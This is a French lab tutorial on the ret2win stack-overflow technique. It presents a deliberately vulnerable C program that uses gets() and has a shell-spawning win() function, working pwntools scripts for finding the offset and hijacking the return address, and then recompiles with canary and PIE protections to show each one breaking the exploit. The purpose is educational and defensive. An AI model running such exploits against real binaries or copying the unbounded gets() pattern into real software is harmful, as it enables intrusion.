Détourner le flot d'exécution : la technique ret2win
Tutoriel de labo : écraser une adresse de retour sauvegardée avec pwntools pour rediriger l'exécution, puis voir chaque mitigation casser l'exploit.
Ceci est le premier tutoriel de l'espace Techniques d'exploitation. Il construit l'unique mécanisme dont dépend chaque technique ultérieure : transformer un débordement de tampon de pile en contrôle du pointeur d'instruction. Nous le faisons contre un programme que nous écrivons et compilons nous-mêmes, avec les mitigations désactivées, dans un labo jetable — et nous terminons en réactivant les mitigations pour voir précisément quelle étape chacune casse.
Si vous n'avez pas lu les débordements de tampon de pile expliqués aux défenseurs et comment un processus organise sa mémoire, lisez-les d'abord ; ce guide suppose que vous savez pourquoi l'adresse de retour sauvegardée se situe au-dessus d'un tampon local.
Règles du labo
Ne pratiquez ceci que sur des binaires que vous avez compilés vous-même, ou sur des challenges qui y invitent explicitement (voir le parcours d'apprentissage CTF). Exécutez tout dans une machine virtuelle ou un conteneur jetable, jamais contre un logiciel que vous ne possédez pas. Le but est de comprendre le mécanisme, pas d'attaquer quoi que ce soit.
Il vous faudra un environnement Linux x86-64 avec gcc, gdb (idéalement avec pwndbg ou GEF), et pwntools (pip install pwntools).
La cible
ret2win est le premier challenge canonique : le binaire contient déjà une fonction qui fait ce que nous voulons (ici, lancer un shell), mais rien ne l'appelle jamais. Notre travail consiste à l'atteindre malgré tout.
/* vuln.c — une démo délibérément vulnérable. Compiler avec les mitigations DÉSACTIVÉES. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win(void) {
puts("[+] control-flow hijacked — spawning a shell");
system("/bin/sh");
}
void vuln(void) {
char buf[64];
puts("Name?");
/* gets() n'a aucune borne : c'est le bug (CWE-121). */
gets(buf);
printf("Hello, %s\n", buf);
}
int main(void) {
/* Rendre les E/S non tamponnées pour que la démo se comporte bien sous un pipe. */
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Le bug, c'est gets(buf) : il copie l'entrée jusqu'à un saut de ligne sans se soucier du tampon de 64 octets. win() n'est jamais appelée depuis main. Nous allons faire en sorte que vuln « retourne » dedans.
Compiler avec les mitigations désactivées
Nous désactivons délibérément les défenses pour que le mécanisme brut soit visible. Nous les réactivons à la fin.
gcc -fno-stack-protector -no-pie -g -O0 -o vuln vuln.c
-fno-stack-protector— aucun canari de pile entre le tampon et l'adresse de retour sauvegardée.-no-pie— une adresse de chargement fixe, si bien quewin()réside au même endroit à chaque exécution (pas encore d'ASLR/PIE à contourner).
Confirmez l'état du binaire avec checksec (fourni avec pwntools) :
$ checksec --file=./vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
« No canary found » et « No PIE » sont ce qui en fait le cas facile. NX est toujours actif, mais ret2win n'exécute jamais de données injectées — il saute vers du code déjà présent — donc NX est ici sans importance. (Contourner NX est le guide suivant.)
Étape 1 — trouver l'offset vers l'adresse de retour
Nous devons savoir combien d'octets d'entrée atterrissent avant l'adresse de retour sauvegardée. Deviner est lent ; un motif cyclique de De Bruijn le trouve en un seul crash. Chaque fenêtre de 8 octets d'un motif cyclique est unique, donc ce qui finit dans le pointeur d'instruction nous indique l'offset exact.
# find_offset.py
from pwn import *
context.binary = elf = ELF("./vuln")
io = process("./vuln")
io.sendlineafter(b"Name?\n", cyclic(200)) # envoie un motif de 200 octets
io.wait()
core = io.corefile # pwntools lit le core dump
fault = core.read(core.rsp, 8) # sommet de la pile au crash
offset = cyclic_find(fault)
log.success("offset to return address: %d", offset)
Exécutez-le :
$ python3 find_offset.py
[+] offset to return address: 72
72 = 64 octets de tampon + 8 octets de rbp sauvegardé. Tout ce qui suit l'octet 72 écrase l'adresse de retour sauvegardée.
Vous pouvez faire la même chose à la main dans gdb :
run < <(python3 -c 'import sys;sys.stdout.buffer.write(...)'), puis lire$rspau crash et le passer àcyclic -l. La version scriptée est simplement plus rapide.
Étape 2 — rediriger l'exécution vers win()
L'offset connu et win() à une adresse fixe, la charge utile est : 72 octets de remplissage, puis l'adresse de win().
# exploit.py
from pwn import *
context.binary = elf = ELF("./vuln")
payload = b"A" * 72
payload += p64(elf.symbols["win"]) # écrase l'adresse de retour sauvegardée
io = process("./vuln")
io.sendlineafter(b"Name?\n", payload)
io.interactive() # bascule dans le shell lancé par win()
$ python3 exploit.py
[+] Starting local process './vuln'
[*] Switching to interactive mode
[+] control-flow hijacked — spawning a shell
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
Voilà toute la technique : le ret à la fin de vuln a dépilé notre adresse de la pile et a sauté dans win().
En cas de segfault dans system/printf
Une première tentative plante souvent à l'intérieur de system plutôt que d'atteindre le shell. La cause est l'alignement de la pile : sur x86-64, movaps et ses semblables exigent une pile alignée sur 16 octets au point de l'appel, et écraser directement l'adresse de retour la laisse mal alignée de 8. Préfixez un gadget ret pour consommer 8 octets et réaligner :
rop = ROP(elf)
ret = rop.find_gadget(["ret"])[0] # adresse d'un `ret` nu
payload = b"A" * 72
payload += p64(ret) # correction d'alignement de 8 octets
payload += p64(elf.symbols["win"])
Retenez ce détail d'alignement — il réapparaît dans chaque chaîne ROP du guide suivant.
Étape 3 — maintenant, réactiver les mitigations
C'est la partie qui rend l'exercice défensif. Recompilez les mêmes sources avec chaque mitigation et observez où l'exploit meurt.
Canari de pile
gcc -fstack-protector-strong -no-pie -g -O0 -o vuln_canary vuln.c
Exécutez exploit.py contre vuln_canary et il ne fonctionne plus :
*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive
L'écrasement a toujours lieu, mais le canari se situe entre buf et l'adresse de retour sauvegardée. Un écrasement linéaire par gets le corrompt, et l'épilogue de la fonction vérifie le canari avant le ret et s'interrompt. Le bug est toujours là — mais cet exploit précis est mort. Notez les limites : un canari n'arrête pas une écriture non linéaire, ni une lecture hors limites qui pourrait divulguer la valeur du canari.
PIE + ASLR
gcc -fno-stack-protector -pie -fPIE -g -O0 -o vuln_pie vuln.c
Désormais elf.symbols["win"] est un offset depuis une base inconnue. Avec l'ASLR activé (cat /proc/sys/kernel/randomize_va_space → 2), l'adresse de chargement change à chaque exécution, si bien que le saut codé en dur atterrit dans des données invalides et le processus plante. Pour exploiter un binaire PIE, il vous faut d'abord une fuite d'information qui révèle la base à l'exécution — ce qui est une technique à part entière, et un argument solide pour garder PIE activé.
| Compilation | Canari | PIE | Résultat ret2win |
|---|---|---|---|
-fno-stack-protector -no-pie | désactivé | désactivé | Shell (fonctionne) |
-fstack-protector-strong -no-pie | activé | désactivé | S'interrompt au retour : stack smashing detected |
-fno-stack-protector -pie | désactivé | activé | Plante : adresse de win() inconnue sans fuite |
| Compilation moderne par défaut | activé | activé | Nécessite à la fois un contournement du canari et une fuite |
Ce que cela enseigne à un défenseur
- L'écrasement et la cible du saut sont deux problèmes distincts. Les mitigations les attaquent séparément : les canaris défendent l'écrasement, l'ASLR/PIE masque la cible. La défense en profondeur n'est pas ici de la redondance — supprimez l'une et l'autre tient toujours.
- « No canary found » et « No PIE » dans
checksecne sont pas cosmétiques. Ils font la différence entre un crash et un shell. Vérifiez-les dans vos propres compilations avec le guide drapeaux de durcissement des binaires. - La cause racine était un unique
getsnon borné. Aucune mitigation ne corrige cela ; elles ne font qu'augmenter le coût de l'exploitation. La correction consiste à borner la copie — voir les débordements de tampon de pile.
Points clés à retenir
- ret2win isole la compétence fondamentale : écraser une adresse de retour sauvegardée pour rediriger l'exécution.
- Un motif cyclique trouve l'offset vers l'adresse de retour en un seul crash.
- L'alignement de la pile x86-64 (
movaps) est la raison habituelle pour laquelle une charge utile qui semble correcte plante ; un gadgetretde rechange y remédie. - Réactiver
-fstack-protector-stronget-piecasse cet exploit à deux étapes différentes — ce qui explique précisément pourquoi les vrais binaires embarquent les deux.
Suite : construire une chaîne ROP pas à pas, où NX nous empêche de sauter vers notre propre code et où nous réutilisons celui du programme à la place.